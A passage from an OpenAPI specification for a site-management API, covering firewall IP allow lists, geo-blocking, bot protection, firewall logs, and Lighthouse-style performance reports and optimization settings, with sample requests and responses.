"#/components/responses/SiteSecurityFirewallIpAccessPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/ip-access/whitelist": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "IP Access" ], "summary": "Add IP addresses to IP Access", "operationId": "whitelistSiteSecurityFirewallIps", "description": "Adds IPv4 or IPv6 addresses to IP Access for the selected site.\n\nUse this when trusted operators, monitoring systems, office networks, or\nsupport IP addresses should not be blocked by firewall and login\nprotection checks.\n\nThe request body must include a non-empty `ips` array. Each value must be\na valid IPv4 or IPv6 address with no leading or trailing whitespace.\nDuplicate IP addresses are processed once. The change is saved, and a\nconfiguration sync starts so protection checks can use the updated list.\nThe site plan must support Firewall.\n\nA successful response returns processed IP addresses and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/WhitelistSiteSecurityFirewallIpsRequest" }, "example": { "ips": [ "203.0.113.10", "2001:db8::10" ] } } } }, "responses": { "200": { "description": "IP addresses were added to IP Access.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/WhitelistSiteSecurityFirewallIpsResponse" }, "example": { "whitelist": { "ips": [ "203.0.113.10", "2001:db8::10" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallIpAccessBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallIpAccessPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/ip-access/delete": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "IP Access" ], "summary": "Remove IP addresses from IP Access", "operationId": "deleteSiteSecurityFirewallIpAccess", "description": "Removes IPv4 or IPv6 addresses from IP Access for the selected site.\nDeleted IP addresses no longer have an explicit site-level allow rule for\nfirewall and login protection checks.\n\nUse this when a trusted IP address should no longer be allowed through\nfirewall and login protection checks or when an external trusted IP list\nneeds to stay up to date.\n\nThe request body must include a non-empty `ips` array. Each value must be\na valid IPv4 or IPv6 address with no leading or trailing whitespace.\nDuplicate IP addresses are processed once. The change is saved, and a\nconfiguration sync starts so protection checks can use the updated list.\nThe site plan must support Firewall.\n\nA successful response returns processed IP addresses and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSiteSecurityFirewallIpAccessRequest" }, "example": { "ips": [ "203.0.113.10" ] } } } }, "responses": { "200": { "description": "IP addresses were removed from IP Access.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSiteSecurityFirewallIpAccessResponse" }, "example": { "delete": { "ips": [ "203.0.113.10" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallIpAccessBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallIpAccessPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/geo-blocking": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Geo Blocking" ], "summary": "Show geo-blocking settings", "operationId": "getSiteSecurityFirewallGeoBlocking", "description": "Returns country codes currently blocked for the selected site.\n\nUse this before changing Geo Blocking to see which countries are\ncurrently blocked.\n\nIf no countries are blocked, the response contains an empty\n`country_codes` array.\n\nA successful response returns Geo Blocking settings.\n", "responses": { "200": { "description": "Geo Blocking settings were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/GetSiteSecurityFirewallGeoBlockingResponse" }, "example": { "geo_blocking": { "country_codes": [ "US", "GB" ] } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallGeoBlockingPlanUpgradeRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/geo-blocking/block": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Geo Blocking" ], "summary": "Block countries", "operationId": "blockSiteSecurityFirewallGeoBlockingCountries", "description": "Adds country codes to the selected site's blocked-country list.\n\nUse this when requests from selected countries should be blocked by the\nsite's firewall.\n\n`country_codes` must be a non-empty array of supported two-letter country\ncodes. Values are normalized to uppercase, and duplicate country codes\nare processed once. The change is saved, and a background task applies it\nto the site.\n\nA successful response returns accepted country codes and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BlockSiteSecurityFirewallGeoBlockingRequest" }, "example": { "country_codes": [ "us", "GB" ] } } } }, "responses": { "200": { "description": "Country codes were accepted for blocking.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BlockSiteSecurityFirewallGeoBlockingResponse" }, "example": { "block": { "country_codes": [ "US", "GB" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallGeoBlockingCountryCodesBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallGeoBlockingPlanUpgradeRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/geo-blocking/unblock": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Geo Blocking" ], "summary": "Unblock countries", "operationId": "unblockSiteSecurityFirewallGeoBlockingCountries", "description": "Removes country codes from the selected site's blocked-country list.\n\nUse this when requests from one or more previously blocked countries\nshould be allowed again.\n\n`country_codes` must be a non-empty array of supported two-letter country\ncodes. Values are normalized to uppercase, and duplicate country codes\nare processed once. The change is saved, and a background task applies it\nto the site.\n\nA successful response returns accepted country codes and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnblockSiteSecurityFirewallGeoBlockingRequest" }, "example": { "country_codes": [ "US" ] } } } }, "responses": { "200": { "description": "Country codes were accepted for unblocking.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnblockSiteSecurityFirewallGeoBlockingResponse" }, "example": { "unblock": { "country_codes": [ "US" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallGeoBlockingCountryCodesBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallGeoBlockingPlanUpgradeRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/bot-protection/enable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Bot Protection" ], "summary": "Enable bot protection", "operationId": "enableSiteSecurityFirewallBotProtection", "description": "Turns bot protection on for the selected site and returns the current bot\nprotection state.\n\nUse this when bot protection should be turned on. No request body is\nrequired.\n\nThe site plan must support Bot Protection.\n\nA successful response returns `bot_protection.enabled: true`.\n", "responses": { "200": { "description": "Bot protection was enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/EnableSiteSecurityFirewallBotProtectionResponse" }, "example": { "bot_protection": { "enabled": true } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSecurityFirewallBotProtectionSyncInProgressResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallBotProtectionPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/bot-protection/disable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Bot Protection" ], "summary": "Disable bot protection", "operationId": "disableSiteSecurityFirewallBotProtection", "description": "Turns bot protection off for the selected site and returns the current bot\nprotection state.\n\nUse this when bot protection should be turned off. No request body is\nrequired.\n\nA successful response returns `bot_protection.enabled: false`.\n", "responses": { "200": { "description": "Bot protection was disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisableSiteSecurityFirewallBotProtectionResponse" }, "example": { "bot_protection": { "enabled": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SiteSecurityFirewallBotProtectionSyncInProgressResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/bot-protection/stats": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Bot Protection" ], "summary": "Show bot protection stats", "operationId": "showSiteSecurityFirewallBotProtectionStats", "description": "Returns bot traffic stats for the selected site. The response groups\nbots into recognized and blocked or unwanted lists, with request counts\nfor each bot.\n\nUse this to review bot traffic activity for a selected time range. When\nno time range is provided, stats for the last 14 days are returned.\n\nThe site plan must support Bot Protection.\n\nA successful response returns bot protection stats.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `timestamp`\n- Supported operators:\n - `gte`: `timestamp`\n - `lte`: `timestamp`\n- Use ISO 8601 timestamps for `timestamp` filters\n- Default time range: last 14 days\n- Example: `filters[timestamp:gte]=2026-05-01T00:00:00Z`\n", "parameters": [ { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ShowSiteSecurityFirewallBotProtectionStatsFilters" }, "description": "Filters applied to returned bot protection stats.", "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-25T00:00:00Z" } } ], "responses": { "200": { "description": "Bot protection stats were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityFirewallBotProtectionStatsResponse" }, "example": { "stats": { "bots": { "total": 2, "blocked": 1, "good": [ { "name": "Googlebot", "requests": 50 } ], "bad": [ { "name": "BadBot", "requests": 10 } ] } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallBotProtectionInvalidTimestampResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallBotProtectionStatsPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/logs": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Firewall Logs" ], "summary": "List firewall logs", "operationId": "listSiteSecurityFirewallLogs", "description": "Returns firewall request logs for the selected site. Each log includes\nthe request ID, timestamp, source IP, country code, method, path, user\nagent, HTTP response code, firewall decision, reason, and category.\n\nUse this list to investigate recent firewall decisions or find requests\nby source IP, path, status, method, response code, or user agent.\n\nThe site plan must support Firewall. When\ntimestamp filters are omitted, the default time range is the last 14\ndays.\n\nA successful response returns a paginated list of firewall logs.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `timestamp`, `ip_address`, `status`, `method`, `response_code`, `path`, `user_agent`\n- Supported operators:\n - `gte`: `timestamp`\n - `lte`: `timestamp`\n - `contains`: `ip_address`, `path`, `user_agent`\n - `eq`: `status`, `method`, `response_code`\n- Supported `status` values for matching: `allowed`, `blocked`, `bypassed`\n- Use ISO 8601 timestamps for `timestamp` filters\n- Default time range: last 14 days\n- Example: `filters[status:eq]=blocked`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `timestamp`, `ip_address`, `status`, `response_code`, `method`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `timestamp,desc`\n- Example: `sort=timestamp,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteSecurityFirewallLogsSort" }, "description": "Sort order for returned firewall logs.", "example": "timestamp,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityFirewallLogFilters" }, "description": "Filters applied to returned firewall logs.", "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "status:eq": "blocked", "ip_address:contains": "203.0.113" } } ], "responses": { "200": { "description": "Firewall logs were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteSecurityFirewallLogsResponse" }, "example": { "logs": [ { "id": "7f9c2a41b6d84e13a0c9f572", "timestamp": "2026-05-25T08:00:00Z", "ip_address": "203.0.113.10", "country_code": "US", "method": "GET", "path": "/wp-login.php", "user_agent": "curl/8.0", "response_code": 403, "status": "blocked", "reason": "SQL Injection Attack", "category": "rule_blocked" }, { "id": "8d2f4b63e1a74c0d95b6f3a8", "timestamp": "2026-05-25T08:03:12Z", "ip_address": "198.51.100.24", "country_code": "GB", "method": "POST", "path": "/xmlrpc.php", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "response_code": 403, "status": "blocked", "reason": "XMLRPC Attack Bot", "category": "bot_blocked" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallLogsInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallLogsPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/security/firewall/logs/stats": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Firewall Logs" ], "summary": "Show firewall log stats", "operationId": "showSiteSecurityFirewallLogStats", "description": "Returns firewall request totals and trend data for the selected site.\nThe response includes total, allowed, and blocked request counts, plus\ntrend buckets for the selected time range.\n\nUse this when you need summary counts or firewall traffic trends for a\nselected time range. This request accepts the same filters as the list\nrequest.\n\nThe site plan must support Firewall. When\ntimestamp filters are omitted, the default time range is the last 14\ndays.\n\nA successful response returns firewall log stats.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `timestamp`, `ip_address`, `status`, `method`, `response_code`, `path`, `user_agent`\n- Supported operators:\n - `gte`: `timestamp`\n - `lte`: `timestamp`\n - `contains`: `ip_address`, `path`, `user_agent`\n - `eq`: `status`, `method`, `response_code`\n- Supported `status` values for matching: `allowed`, `blocked`, `bypassed`\n- Use ISO 8601 timestamps for `timestamp` filters\n- Default time range: last 14 days\n- Example: `filters[status:eq]=blocked`\n", "parameters": [ { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SiteSecurityFirewallLogFilters" }, "description": "Filters applied to firewall log stats.", "example": { "timestamp:gte": "2026-05-01T00:00:00Z", "timestamp:lte": "2026-05-31T23:59:59Z" } } ], "responses": { "200": { "description": "Firewall log stats were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSecurityFirewallLogStatsResponse" }, "example": { "stats": { "requests": { "total": 100, "allowed": 80, "blocked": 20, "trends": [ { "timestamp": "2026-05-25T06:00:00Z", "total": 50, "allowed": 40, "blocked": 10 } ] } } } } } }, "400": { "$ref": "#/components/responses/SiteSecurityFirewallLogsInvalidTimestampResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteSecurityFirewallLogsPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/performance/reports": { "get": { "tags": [ "Performance Reports" ], "summary": "List performance reports", "operationId": "listSitesPerformanceReports", "description": "Returns a paginated list of sites with each site's latest performance\nreport. Each site includes its site ID, last sync time, and\n`performance.reports`. Sites without report data are returned with an\nempty `performance.reports` array.\n\nUse this list to compare the latest performance scores, metrics, and\naudits across sites, or to identify sites that do not have report data\nyet.\n\nSend `site_ids` to limit results to selected sites. When sent,\n`site_ids` must be an array, and every submitted site ID must be\navailable to you. Omit `site_ids` to include all sites available to you.\n\nA successful response returns a paginated list of sites with their latest\nperformance report data.\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `id`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `id,desc`\n- Example: `sort=id,asc`\n", "parameters": [ { "name": "site_ids", "in": "query", "required": false, "style": "form", "explode": true, "schema": { "$ref": "#/components/schemas/SiteIdsQuery" }, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "example": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSitesPerformanceReportsSort" }, "description": "Sort order for returned performance report sites.", "example": "id,desc" } ], "responses": { "200": { "description": "Performance report sites returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesPerformanceReportsResponse" }, "example": { "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "last_sync_at": "2026-01-12T08:20:00Z", "performance": { "reports": [ { "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 92, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [] } } ] } }, { "id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604", "last_sync_at": "2026-01-11T10:15:00Z", "performance": { "reports": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListSitesPerformanceReportsInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/ListSitesPerformanceReportsBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/performance/reports": { "get": { "tags": [ "Performance Reports" ], "summary": "Show performance report", "operationId": "showSitePerformanceReport", "description": "Returns the latest available performance report for the selected site.\n\nUse this after listing performance reports when you need the score,\nmetrics, audit results, and Lighthouse category details for the selected\nsite.\n\nThe report `type` is `partial` when only performance data is available.\nIt is `full` when Lighthouse category data is also available. Full\nreports can include `accessibility`, `best_practices`, `seo`, and\n`pwa`; a category can be an empty object when Lighthouse does not return\ndata for it.\n\nA successful response returns the latest report under\n`performance.reports`.\n", "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details.", "example": "9bf3c2e7a1b24c6d8e9f0123456789ab" } ], "responses": { "200": { "description": "Performance report returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSitePerformanceReportResponse" }, "examples": { "partial": { "summary": "Partial report", "value": { "performance": { "reports": [ { "type": "partial", "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 88, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "opportunities": [ { "title": "Reduce unused JavaScript", "description": "Reduce unused JavaScript and defer loading scripts until they are required.", "score": 0.65, "display_value": "120 KiB" } ], "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [ "Does not use passive listeners" ] } } ] } } }, "full": { "summary": "Full report", "value": { "performance": { "reports": [ { "type": "full", "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 92, "metrics": { "load_time": { "value": 1.8, "unit": "second" }, "page_size": { "value": 860000, "unit": "bytes" }, "request_count": { "value": 38, "unit": "requests" }, "first_contentful_paint": { "value": 1000, "unit": "millisecond", "score": 0.98 }, "largest_contentful_paint": { "value": 1600, "unit": "millisecond", "score": 0.9 }, "speed_index": { "value": 1800, "unit": "millisecond", "score": 0.94 }, "interactive": { "value": 2900, "unit": "millisecond", "score": 0.88 }, "total_blocking_time": { "value": 120, "unit": "millisecond", "score": 0.96 }, "cumulative_layout_shift": { "value": 0.03, "score": 0.99 } }, "audits": { "opportunities": [], "diagnostics": [], "passed": [ "Avoids enormous network payloads" ], "not_applicable": [] }, "accessibility": { "score": 96, "audits": { "manual_checks": [], "passed": [ "Image elements have alt attributes" ], "failing": [], "warnings": [], "not_applicable": [] } }, "best_practices": { "score": 100, "audits": { "manual_checks": [], "passed": [], "failing": [], "warnings": [], "not_applicable": [] } }, "seo": { "score": 91, "audits": { "manual_checks": [], "passed": [], "failing": [], "warnings": [], "not_applicable": [] } }, "pwa": { "score": 80, "audits": { "manual_checks": [], "passed": [], "failing": [], "warnings": [], "not_applicable": [], "installability": [ { "title": "Web app manifest meets installability requirements", "status": "passed", "description": "The manifest has the required fields." } ] } } } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/ShowSitePerformanceReportNotFoundResponse" }, "422": { "$ref": "#/components/responses/ShowSitePerformanceReportBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/performance/enable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Performance Activation" ], "summary": "Enable site performance", "operationId": "enableSitePerformance", "description": "Enables performance optimization for the selected site.\n\nUse this when the site should use performance optimization. No request\nbody is required.\n\nThe site plan must support performance optimization.\n\nA successful response returns `performance.enabled: true`.\n", "responses": { "200": { "description": "Performance optimization enabled successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/EnableSitePerformanceResponse" }, "example": { "performance": { "enabled": true } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "409": { "$ref": "#/components/responses/SitePerformanceOptimizationInProgressResponse" }, "422": { "$ref": "#/components/responses/EnableSitePerformanceFailedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/performance/disable": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Performance Activation" ], "summary": "Disable site performance", "operationId": "disableSitePerformance", "description": "Disables performance optimization for the selected site.\n\nUse this when the site should stop using performance optimization. No\nrequest body is required.\n\nA successful response returns `performance.enabled: false`.\n", "responses": { "200": { "description": "Performance optimization disabled successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisableSitePerformanceResponse" }, "example": { "performance": { "enabled": false } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/DisableSitePerformanceFailedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/performance/settings": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Performance Settings" ], "summary": "Show performance settings", "operationId": "showSitePerformanceSettings", "description": "Returns the current performance optimization settings for the selected\nsite.\n\nUse this to review cache, JavaScript, CSS, image, and font optimization\nsettings.\n\nThe site plan must support performance optimization.\n\nA successful response returns `performance.settings`.\n", "responses": { "200": { "description": "Current performance settings for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSitePerformanceSettingsResponse" }, "example": { "performance": { "settings": { "cache": { "specific_cookies_optimized": { "enabled": false, "cookies": [] }, "disable_caching_for_cookies": { "enabled": false, "cookies": [] }, "disable_optimizations_for_urls": { "enabled": false, "urls": [] }, "disable_optimizations_for_query_params": { "enabled": false, "params": [] }, "specific_cookies_optimized_toggle": { "enabled": false, "cookies_count": 0 }, "custom_urls_optimization": { "enabled": false, "urls": [] } }, "javascript": { "disable_javascript_defer": { "urls": [] }, "script_minification": { "enabled": true }, "javascript_execution_on_user_interaction": { "enabled": false, "paths": [] }, "optimize_execution_speed": { "enabled": false, "urls": [] }, "strategically_delay_javascript": { "enabled": false, "urls": [] }, "exclude_specific_urls_for_scripts": { "enabled": false, "urls": [] }, "enhance_scoring_by_delaying_inline_scripts": { "enabled": false, "content": [] }, "exclude_specific_scripts_under_delay": { "enabled": false, "scripts": [] }, "script_specific_minification_control": { "enabled": false, "urls": [] } }, "stylesheet": { "dynamic_used_css": { "enabled": true }, "include_content_of_specific_urls": { "enabled": false, "urls": [] } }, "images": { "lazyload_images": { "enabled": true }, "lazyloading_non_viewport_image_tags": { "enabled": true }, "lazyloading_non_viewport_stylesheet_images": { "enabled": true }, "exclude_specific_urls_from_lazy_loading": { "enabled": false, "urls": [] }, "disable_creation_of_picture_tags": { "enabled": false }, "lazyloading_non_viewport_picture_tags": { "enabled": true }, "preload_specific_image_urls": { "enabled": false, "urls": [] } }, "fonts": { "conversion_of_fonts_to_woff2": { "enabled": true }, "font_subsetting": { "enabled": true } } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/ShowSitePerformanceSettingsFailedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/performance/settings/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Performance Settings" ], "summary": "Update performance settings", "operationId": "updateSitePerformanceSettings", "description": "Updates performance optimization settings for the selected site.\n\nUse this when cache, JavaScript, CSS, image, or font optimization\nbehavior needs to change.\n\nSend the setting groups to change under `performance.settings`. Omitted\ngroups remain unchanged, and at least one supported group must be\npresent.\n\nA successful response returns the task created to apply the settings\nupdate. Use the returned task ID with Tasks to track progress.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitePerformanceSettingsRequest" }, "example": { "performance": { "settings": { "cache": { "specific_cookies_optimized_toggle": { "enabled": true }, 